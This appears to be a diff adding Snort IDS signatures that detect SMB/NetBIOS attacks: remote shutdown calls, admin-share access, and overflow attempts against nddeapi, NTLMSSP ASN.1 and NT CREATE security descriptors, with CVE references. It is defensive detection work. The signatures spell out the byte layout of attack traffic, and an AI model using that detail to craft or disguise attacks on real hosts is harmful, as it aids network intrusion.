+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2992; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C|winreg|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2986; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi unicode create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C 00|n|00|d|00|d|00|e|00|a|00|p|00|i|00 00 00|"; within:18; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2929; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C|nddeapi|00|"; within:9; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2956; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2946; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2934; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS C$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"C|24 00|"; distance:2; nocase; content:!"IPC|24 00|"; within:5; distance:-5; nocase; classtype:protocol-command-decode; sid:2978; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ADMIN$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"ADMIN|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2982; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2967; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi unicode andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C 00|n|00|d|00|d|00|e|00|a|00|p|00|i|00 00 00|"; within:18; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2957; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2941; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2995; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB too many stacked requests"; flow:to_server,established; content:"|FF|SMB"; pcre:"/^\x00.{3}\xFFSMB(\x73|\x74|\x75|\xa2|\x24|\x2d|\x2e|\x2f).{28}(\x73|\x74|\x75|\xa2|\x24|\x2d|\x2e|\x2f)/"; byte_jump:2,39,little; content:!"|FF|"; within:1; distance:-36; classtype:protocol-command-decode; sid:2950; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS D$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"D|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2974; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C 00|w|00|i|00|n|00|r|00|e|00|g|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2987; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2938; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2964; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ADMIN$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"ADMIN|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2980; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ADMIN$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"A|00|D|00|M|00|I|00|N|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2983; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2991; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi unicode bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2933; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown unicode little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2945; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C|nddeapi|00|"; within:9; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2928; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2968; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS D$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"D|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2975; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Session Setup NTMLSSP andx asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"s"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:3004; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Session Setup NTMLSSP unicode asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBs"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:3003; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS Session Setup NTMLSSP unicode andx asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"s"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:3005; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Session Setup NTMLSSP unicode andx asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"s"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:3002; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Session Setup NTMLSSP unicode asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMBs"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:3000; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB Session Setup NTMLSSP andx asn1 overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"s"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_test:4,&,2147483648,21,relative,little; content:!"NTLMSSP"; within:7; distance:27; asn1:double_overflow, bitstring_overflow, relative_offset 27, oversize_length 2048; reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818; reference:nessus,12052; reference:nessus,12065; reference:url,www.microsoft.com/technet/security/bulletin/MS04-007.mspx; classtype:protocol-command-decode; sid:3001; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3051; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode DACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3036; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode andx oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3025; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE andx SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3027; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3044; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3030; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3047; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3054; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode andx invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:16; byte_jump:4,16,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3057; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NT Trans NT CREATE unicode andx oversized Security Descriptor attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A0|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|01 00|"; within:2; distance:37; byte_jump:4,-15,little,relative,from_beginning; pcre:"/^.{4}/R"; byte_test:4,>,1024,36,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3021; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode SACL overflow attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; byte_test:4,>,32,-16,relative,little; reference:cve,2004-1154; classtype:protocol-command-decode; sid:3032; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NT Trans NT CREATE unicode invalid SACL ace size dos attempt"; flow:stateless; content:"|00|"; depth:1; content:"|FF|SMB|A0|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|01 00|"; within:2; distance:37; byte_jump:4,-7,little,relative,from_beginning; pcre:"/^.{4}/R"; content:!"|00 00 00 00|"; within:4; distance:12; byte_jump:4,12,relative,little; content:"|00 00|"; within:2; distance:-10; classtype:protocol-command-decode; sid:3048; rev:2;)
